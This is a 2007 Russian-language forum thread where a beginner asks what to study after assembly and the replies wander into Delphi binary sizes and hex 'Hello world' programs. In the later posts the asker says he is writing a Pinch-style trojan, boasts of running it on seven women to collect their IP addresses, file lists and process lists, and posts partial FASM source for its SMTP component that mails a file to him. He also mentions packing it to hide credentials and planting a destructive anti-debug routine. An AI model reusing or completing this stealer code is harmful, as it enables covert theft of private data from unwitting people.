Ассемблер. Что дальше-то?;)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Ассемблер. Что дальше-то?;) - 2007-11-09 17:00:47.453333
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
Я прочитал рассылку Калашникова (не полностью, глав 26… дальше просто просмотрел), туториалы ICZELION'а (опять же, только 20 уроков и PE TUTORIAL), "Введение в крэкинг с нуля с помощью OllyDebug" (все, что перевели на русский), Крупника учкебник, и еще пару статтей и учебников…
дальше не знаю, что читать, что писать (написал просто программу, которая проверяет PE-файл файл валидность, и если файл правильный, то пишет о нем инфу такую как количество секций, Image Base, адресс Entry Point'а… и т.п.)
посоветуйте, плиз, что дальше читать… вот думал драйвер попробовать написать…;)
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 17:06:20.556666
|
|
|
kolPeeX
Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
|
kernel-development
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 17:30:18.536666
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
quote:
kernel-development
эт как?О_о
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 17:43:16.630000
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
quote:
ORIGINAL: Necromancer13
Я прочитал рассылку Калашникова (не полностью, глав 26… дальше просто просмотрел), туториалы ICZELION'а (опять же, только 20 уроков и PE TUTORIAL), "Введение в крэкинг с нуля с помощью OllyDebug" (все, что перевели на русский), Крупника учкебник, и еще пару статтей и учебников…
дальше не знаю, что читать, что писать (написал просто программу, которая проверяет PE-файл файл валидность, и если файл правильный, то пишет о нем инфу такую как количество секций, Image Base, адресс Entry Point'а… и т.п.)
посоветуйте, плиз, что дальше читать… вот думал драйвер попробовать написать…;)
Качай оффлайн версию http://wasm.ru/ там много чего почитать
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 18:07:10.406666
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
blacksun, она у меня есть=)
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 18:48:49.720000
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
Ну напиши тогда на асме полнофункциональную систему удаленного администрирования .. работы там много) интересно и полезно. Тока попытайся вместить в троя каг можно больше функций управления .. я мож когда мне делать нефиг допишу своего и выложу =) но у меня на делфи. Хоть и на WinAPI ..
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 19:28:35.516666
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
quote:
Ну напиши тогда на асме полнофункциональную систему удаленного администрирования .. работы там много) интересно и полезно. Тока попытайся вместить в троя каг можно больше функций управления .. я мож когда мне делать нефиг допишу своего и выложу =) но у меня на делфи. Хоть и на WinAPI ..
о… трояна бы очень хотелось написать… что-то типа пинча… но не знаю, даже с чего начать… информацию какую читать?..
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 20:01:55.803333
|
|
|
t3rmin@1
Сообщений: 197
Оценки: 0
Присоединился: 2006-09-22 23:03:30.883333
|
Во даёт. Теории начитался, типа мегахакер =)))
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 20:26:24.660000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
t3rmin@1,
сам ты мегахакер,
я не хакер и не хочу им быть8|
я просто спрашиваю, что читать
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 20:44:11.353333
|
|
|
t3rmin@1
Сообщений: 197
Оценки: 0
Присоединился: 2006-09-22 23:03:30.883333
|
Можешь почитать Толстого "Война и мир" все тома =)
И полное собрание сочинений Ленина+Сталина+Маркса =)
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 20:48:16.436666
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
Да уж, твой совет мне больше всех помог[&:]
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-09 21:01:30.250000
|
|
|
JTG
Сообщений: 1189
Оценки: 0
Присоединился: 2007-03-05 11:56:01.993333
|
Ну вот не понимаю я таких вопросов [>:]
Возьми да начни писать что-то, как споткнёшься - сразу будет ясно "что читать"
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-10 21:35:33.453333
|
|
|
progma137
Сообщений: 21
Оценки: 0
Присоединился: 2007-10-31 23:11:33.856666
|
Напиши свой хэлп по проганию на ассемблере.
думаю споткнешся с чего начать ;)
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-10 22:10:42.496666
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
нееееее… хэлп я точно писать не буду:D
ну по крайней мере пока;)
а сейчас я троян пишу:)
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-10 23:22:20.406666
|
|
|
il0dbg
Сообщений: 66
Оценки: 0
Присоединился: 2007-10-30 01:32:31.366666
|
Качай с крэклаба фасм и пиши на нем - все просто и понятно.
По синтаксису компилятора ничего читать не надо - там много примеров, разберешься
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 11:24:26.533333
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
а ты думаешь, я на МАСМе пишу?;)
не угадал, я на ФАСМе и пишу=)
ЗЫ. Лучше скачивать не скрэклаба, а с официального сайта, думаю…
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 11:42:47.946666
|
|
|
Alaget
Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
|
Ты хоть одну полезную программу на ассемблере написал.
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 11:48:56.610000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
ну да…:) но немного… я больше читал по этому…
вирей пару, приколов, программу для просмотра заголовка PE-файлов, сейчас вот пишу прогу, которая письмо с аттачем отправит… :) файл поврежденный приходит… сигнатура у RAR-файлов - "RAR!", а в начале файла еще лишние 6 байт… может знакомый вирмейкер с этим че-то сделать поможет;)
смотрю под отладичиком - вроде все норм…. [>:]
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 11:50:23.050000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
quote:
Напиши свой хэлп по проганию на ассемблере.
я и так девушкам помогаю с Ассемблером в асе… ;) а хэлп врядли писать буду… ленивый я=(
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 11:51:28.160000
|
|
|
Alaget
Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
|
А высокоуровневые языки знаешь.
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 11:54:07.943333
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
Паскаль/Дельфи, VBScript (чуть-чуть), ну ДОС-скрипт языком не считается…. ;)
собираюсь учить Си… так как Линух на Си написан, да и вообще Си и АСМ на мой взгляд лучшие языки;)
а вообще люблю низкоуровневость…
а что это за допрос? ;)
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 11:57:19.026666
|
|
|
Alaget
Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
|
Смысл учить всё подряд, разберись с одним языком например делфи, и на нём программируй.
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 11:59:19.653333
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
:Dне, точно не Дельфи…
я выбрал АСМ, его и учу… а остальное это так…;)
ЗЫ. Дельфи мне не нравится, люблю писать в текстовом редакторе, компилить с консоли
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 13:18:38.750000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
и вообще… все языки выского уровня мне не очень….
вирусы должны писаться на АСМе и только на нем!:@
да и драйвера пишутся на АСМе или Си…:)
если писать свою ОСьку, то АСМ пригодится…
часто использую вставки асма в языках высокого уровня…:)
а Дельфи пишет в прогу столько мусора…. я просто ним пользоваться не умею…:D
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 15:43:10.510000
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
quote:
а Дельфи пишет в прогу столько мусора…. я просто ним пользоваться не умею…
Минимальное приложение на делфи весит 3,5Кб …
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 15:47:51.766666
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
хек! КРуто)
но дельфи не для меня…
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 16:39:32.326666
|
|
|
Alaget
Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
|
Дай исходник где размер 3.5 у меня минимальное 10.
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 17:07:31.343333
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
program test;
procedure ExitProcess(
uExitCode: Integer);
stdcall; external 'kernel32.dll';
begin
ExitProcess(0);
end.
unit System;
interface
procedure _HandleFinally;
type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;
PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext;
ExcFrame: Pointer;
InitTable: pointer;
InitCount: Integer;
Module: pointer;
DLLSaveEBP: Pointer;
DLLSaveEBX: Pointer;
DLLSaveESI: Pointer;
DLLSaveEDI: Pointer;
ExitProcessTLS: procedure;
DLLInitState: Byte;
end;
implementation
procedure _HandleFinally;
asm
end;
end.
unit SysInit;
interface
procedure _InitExe;
procedure _halt0;
procedure _InitLib(Context: PInitContext);
var
ModuleIsLib: Boolean;
TlsIndex: Integer = -1;
TlsLast: Byte;
const
PtrToNil: Pointer = nil;
implementation
procedure _InitLib(Context: PInitContext);
asm
end;
procedure _InitExe;
asm
end;
procedure _halt0;
asm
end;
end.
И компилить вот так:
@echo off
dcc32 -Q System.pas SysInit.pas -M -Y -Z -$D-
dcc32 -Q test.dpr -$O+
pause
cls
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 19:49:17.543333
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
quote:
ORIGINAL: Necromancer13
сигнатура у RAR-файлов - "RAR!", а в начале файла еще лишние 6 байт…
сигнатура у рара 0x52 0x61 0x72 0x21 0x1a 0x07 0x00 (в сфх тоже)
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 19:51:37.876666
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
quote:
ORIGINAL: blacksun
quote:
а Дельфи пишет в прогу столько мусора…. я просто ним пользоваться не умею…
Минимальное приложение на делфи весит 3,5Кб …
Не пробовал писать на дельфи под однокристалку? Кст, в ней 2к.
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 20:10:06.583333
|
|
|
t3rmin@1
Сообщений: 197
Оценки: 0
Присоединился: 2006-09-22 23:03:30.883333
|
quote:
ORIGINAL: blacksun
quote:
а Дельфи пишет в прогу столько мусора…. я просто ним пользоваться не умею…
Минимальное приложение на делфи весит 3,5Кб …
Я получал с Visual C++ 6.0 Pro минимальное Windows-приложение в 1 Кб
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-11 23:17:18.726666
|
|
|
progma137
Сообщений: 21
Оценки: 0
Присоединился: 2007-10-31 23:11:33.856666
|
quote:
ORIGINAL: t3rmin@1
quote:
ORIGINAL: blacksun
quote:
а Дельфи пишет в прогу столько мусора…. я просто ним пользоваться не умею…
Минимальное приложение на делфи весит 3,5Кб …
Я получал с Visual C++ 6.0 Pro минимальное Windows-приложение в 1 Кб
гы-гы-гы. а я ничего вообще не получал.
вы лучче посоревнуйтесь кто напишет самую "легкую" прогу с выводом сообщения "Hello world!!!" на разных языках программирования. Тут-то и оцените свои заслуги перед отечеством
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-12 00:56:11.576666
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
quote:
сигнатура у рара 0x52 0x61 0x72 0x21 0x1a 0x07 0x00 (в сфх тоже)
все, все ок, программа работает… на 7 девушках проверил:D
ничего толкового не получил… ip-адрес, список файлов папки %ProgramFiles%, список процессов…
сделал проверку на то, запускалась ли прога раньше… жаль, что с авторизацией - там мой… пароль…
вот исходник, кому интересно… полдня мучился:(
пароль, конечно же, уберу;)
;**************************************************************************************;
;* *;
;* [NecroJan] *;
;* Written by ASM_Maniac *;
;* 11.11.2007 *;
;* *;
;**************************************************************************************;
format PE GUI 4.0
entry start
include '%fasminc%\win32a.inc'
include '%fasminc%\macro\if.inc'
section '.flat' code readable writeable executable
;##############################################################################
;----------------- MACROSES ---------------------------
macro RecvString
{
invoke recv,[sock],buf,512,0
}
macro SendString strStr
{
invoke lstrlen,strStr
invoke send,[sock],strStr,eax,0
}
;---------------------- DATA -----------------------------
wsadata WSADATA
saddr sockaddr_in
sock dd ?
port dd 25
hFile dd ?
hMapFile dd ?
pMemory dd ?
MailBody dd ?
;-------------------------------------------------------------
proc SendMail strMailBody,MailBodySize,strAttachFile
invoke lstrlen,strLogString
mov esi,strLogString
mov edi,strLogin
push ebp
mov ebp,eax
call b64.encode
pop ebp
invoke lstrlen,strPassString
mov esi,strPassString
mov edi,strPassword
push ebp
mov ebp,eax
call b64.encode
pop ebp
invoke WSAStartup,202h,wsadata
invoke socket,2,1,0
.if eax <> 0
mov [sock],eax
invoke gethostbyname,strServer
.if eax <> 0
mov eax,[eax+0Ch]
mov eax,[eax]
mov eax,[eax]
mov [saddr.sin_addr],eax
mov [saddr.sin_family],AF_INET
mov ax,word [port]
rol ax,8
mov [saddr.sin_port],ax
invoke connect,[sock],saddr,sizeof.sockaddr_in
.if eax = 0
RecvString
SendString strEHLO
RecvString
SendString strAUTHLOGIN
RecvString
SendString strLogin
SendString strCrLf
SendString strPassword
SendString strCrLf
SendString strMAILFROM
SendString strLogString
SendString strSKOBKA
SendString strRCPTTO
SendString strRcpt
SendString strSKOBKA
SendString strDATA
RecvString
.if [strAttachFile] <> 0
invoke CreateFile,[strAttachFile],GENERIC_READ or GENERIC_WRITE,0,0,OPEN_EXISTING,0,0
.if eax <> 0FFFFFFFFh
mov [hFile],eax
invoke GetFileSize,eax,0
mov ebx,eax
rol eax,1
add eax,[MailBodySize]
invoke LocalAlloc,LMEM_FIXED,eax
.if eax <> 0
mov [MailBody],eax
mov edi,eax
mov esi,[strMailBody]
mov ecx,[MailBodySize]
rep movsb
invoke CreateFileMapping,[hFile],0,PAGE_READWRITE,0,ebx,0
.if eax <> 0
mov [hMapFile],eax
invoke MapViewOfFile,eax,2,0,0,0
.if eax <> 0
mov [pMemory],eax
mov esi,eax
push ebp
mov ebp,ebx
call b64.encode
pop ebp
mov ax,0A0Dh
stosw
mov ax,0A0Dh
stosw
mov al,'.'
stosb
mov ax,0A0Dh
stosw
mov eax,edi
sub eax,[MailBody]
mov ebx,eax
invoke send,[sock],[MailBody],ebx,0
RecvString
invoke UnmapViewOfFile,[pMemory]
.endif
invoke CloseHandle,[hMapFile]
.endif
invoke LocalFree,[MailBody]
.endif
invoke CloseHandle,[hFile]
.endif
.else
SendString [strMailBody]
RecvString
.endif
.endif
.endif
invoke closesocket,[sock]
.endif
invoke WSACleanup
ret
endp
;-------------------------------------------------------------
b64:
.newline:
call b64.store_crlf
.encode:
push (76 shr 2)+1
pop edx
.outer:
dec edx
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-12 01:04:34.930000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
ЗЫ. чтоб пароль не увидели в дизасме, приходится упаковывать FSG…
все-таки прогу упакованную ним вручную распаковать не смог[:(]
а об ASProtectе и не говорю[&:]
а еще лучше поставить вызов какой-то деструктивной функции если программа отлаживается…:@
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-18 18:10:03.956666
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
quote:
ORIGINAL: progma137
вы лучче посоревнуйтесь кто напишет самую "легкую" прогу с выводом сообщения "Hello world!!!" на разных языках программирования. Тут-то и оцените свои заслуги перед отечеством
ba 08 01 b4 09 cd 21 c3 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 64 64 24
асм, debug.com не юзал, только таблицу ascii
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-19 19:12:25.560000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
ba 08 01 b4 09 cd 21 c3 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 64 64 24
я тоже так могу :)
кстати, лучше добавить перед C3
B4 10 CD 16
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-21 12:30:40.780000
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
ну это уже дело вкуса :)
|
|
|
|
|
RE: Ассемблер. Что дальше-то?;) - 2007-11-21 21:33:05.090000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
респект! :)
я тоже люблю машинный код:)
|
|
|
|
|
|
